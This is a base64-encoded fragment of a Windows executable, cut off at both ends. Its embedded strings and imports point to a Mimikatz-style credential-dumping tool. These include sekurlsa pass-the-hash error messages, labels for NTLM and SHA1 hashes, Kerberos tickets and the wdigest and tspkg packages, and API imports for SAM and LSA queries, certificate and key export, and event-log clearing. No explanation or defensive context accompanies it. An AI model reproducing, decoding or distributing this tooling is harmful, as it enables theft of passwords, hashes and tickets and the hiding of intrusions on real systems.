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uaWNvZGUAUABDb252ZXJ0U2lkVG9TdHJpbmdTaWRXAACsAU9wZW5Qcm9jZXNzVG9rZW4AABoBR2V0VG9rZW5JbmZvcm1hdGlvbgBKAUxvb2t1cEFjY291bnRTaWRXAFgAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAlABDcnlwdEV4cG9ydEtleQAAhgBDcnlwdEFjcXVpcmVDb250ZXh0VwAAmgBDcnlwdEdldEtleVBhcmFtAACgAENyeXB0UmVsZWFzZUNvbnRleHQAkwBDcnlwdEVudW1Qcm92aWRlcnNXAJsAQ3J5cHRHZXRQcm92UGFyYW0AjABDcnlwdERlc3Ryb3lLZXkAnABDcnlwdEdldFVzZXJLZXkAqwFPcGVuRXZlbnRMb2dXAAQBR2V0TnVtYmVyT2ZFdmVudExvZ1JlY29yZHMAADoAQ2xlYXJFdmVudExvZ1cAAGUAQ3JlYXRlU2VydmljZVcAAEMCU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AAAqAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAwgFRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAHQBBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAOIARnJlZVNpZACZAENyeXB0R2V0SGFzaFBhcmFtAKIAQ3J5cHRTZXRLZXlQYXJhbQAAcAJTeXN0ZW1GdW5jdGlvbjAzMgBVAlN5c3RlbUZ1bmN0aW9uMDA1AJ8AQ3J5cHRJbXBvcnRLZXkAAGkCU3lzdGVtRnVuY3Rpb24wMjUAiABDcnlwdENyZWF0ZUhhc2gAiQBDcnlwdERlY3J5cHQAAIsAQ3J5cHREZXN0cm95SGFzaAAAZAFMc2FGcmVlTWVtb3J5AJ0AQ3J5cHRIYXNoRGF0YQCxAU9wZW5UaHJlYWRUb2tlbgBFAlNldFRocmVhZFRva2VuAAC0AER1cGxpY2F0ZVRva2VuRXgAADgAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAGwAQ3JlZEZyZWUAAGsAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAAdQBDcnlwdEJpbmFyeVRvU3RyaW5nVwAAcwBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkARgBDZXJ0R2V0TmFtZVN0cmluZ1cAAFAAQ2VydE9wZW5TdG9yZQA8AENlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0AAAEAENlcnRBZGRDZXJ0aWZpY2F0ZUNvbnRleHRUb1N0b3JlAAAPAENlcnRDbG9zZVN0b3JlAABBAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQApAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQAsAENlcnRFbnVtU3lzdGVtU3RvcmUAAwFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAQ1JZUFQzMi5kbGwABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAABgBDRExvY2F0ZUNoZWNrU3VtAAALAE1ENUZpbmFsAAANAE1ENVVwZGF0ZQAMAE1ENUluaXQAY3J5cHRkbGwuZGxsAAABAERzQWRkU2lkSGlzdG9yeVcAAAUARHNCaW5kVwBdAERzVW5CaW5kVwBOVERTQVBJLmRsbABOAFBhdGhJc1JlbGF0aXZlVwAiAFBhdGhDYW5vbmljYWxpemVXACQAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAmAFNhbVF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAYAU2FtQ2xvc2VIYW5kbGUAABQAU2FtRnJlZU1lbW9yeQATAFNhbUVudW1lcmF0ZVVzZXJzSW5Eb21haW4AIQBTYW1PcGVuVXNlcgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAHAFNhbUNvbm5lY3QAABEAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAAAYAFNhbUdldEdyb3Vwc0ZvclVzZXIALABTYW1SaWRUb1NpZAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAVAFNhbUdldEFsaWFzTWVtYmVyc2hpcABTQU1MSUIuZGxsAAAoAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAJQBMc2FGcmVlUmV0dXJuQnVmZmVyACMATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAiAExzYUNvbm5lY3RVbnRydXN0ZWQAIQBMc2FDYWxsQXV0aGVudGljYXRpb25QYWNrYWdlAABTZWN1cjMyLmRsbAAHAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAmwFJc0NoYXJBbHBoYU51bWVyaWNXAFVTRVIzMi5kbGwAAAUATUQ0VXBkYXRlAAMATUQ0RmluYWwAAAQATUQ0SW5pdABhZHZhcGkzMi5kbGwAABQAUnRsVW5pY29kZVN0cmluZ1RvQW5zaVN0cmluZwAADQBSdGxGcmVlQW5zaVN0cmluZwASAFJ0bEluaXRVbmljb2RlU3RyaW5nAAAMAFJ0bEVxdWFsVW5pY29kZVN0cmluZwABAE50UXVlcnlPYmplY3QAAgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AAA8AUnRsR2V0Q3VycmVudFBlYgAAAABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAAkAUnRsQ3JlYXRlVXNlclRocmVhZAATAFJ0bFN0cmluZ0Zyb21HVUlEAA4AUnRsRnJlZVVuaWNvZGVTdHJpbmcAABAAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAAFgBSdGxVcGNhc2VVbmljb2RlU3RyaW5nAAAIAFJ0bEFwcGVuZFVuaWNvZGVTdHJpbmdUb1N0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABABOdFN1c3BlbmRQcm9jZXNzAAAFAE50VGVybWluYXRlUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAI0DVmlydHVhbFByb3RlY3QAAF0DU2xlZXAAyABGaWxlVGltZVRvU3lzdGVtVGltZQAAVAJMb2NhbEFsbG9jAABYAkxvY2FsRnJlZQCrA1dyaXRlRmlsZQCxAlJlYWRGaWxlAABZAENyZWF0ZUZpbGVXAPEARmx1c2hGaWxlQnVmZmVycwAAZwFHZXRGaWxlU2l6ZUV4AEQBR2V0Q3VycmVudERpcmVjdG9yeVcAADYAQ2xvc2VIYW5kbGUARQFHZXRDdXJyZW50UHJvY2VzcwCCAk9wZW5Qcm9jZXNzAHMBR2V0TGFzdEVycm9yAACWAER1cGxpY2F0ZUhhbmRsZQCNAERldmljZUlvQ29udHJvbAAjA1NldEZpbGVQb2ludGVyAACPA1ZpcnR1YWxRdWVyeQAAigNWaXJ0dWFsRnJlZQCQA1ZpcnR1YWxRdWVyeUV4AACLA1ZpcnR1YWxGcmVlRXgAtAJSZWFkUHJvY2Vzc01lbW9yeQCIA1ZpcnR1YWxBbGxvYwAAjgNWaXJ0dWFsUHJvdGVjdEV4AACJA1Zpcn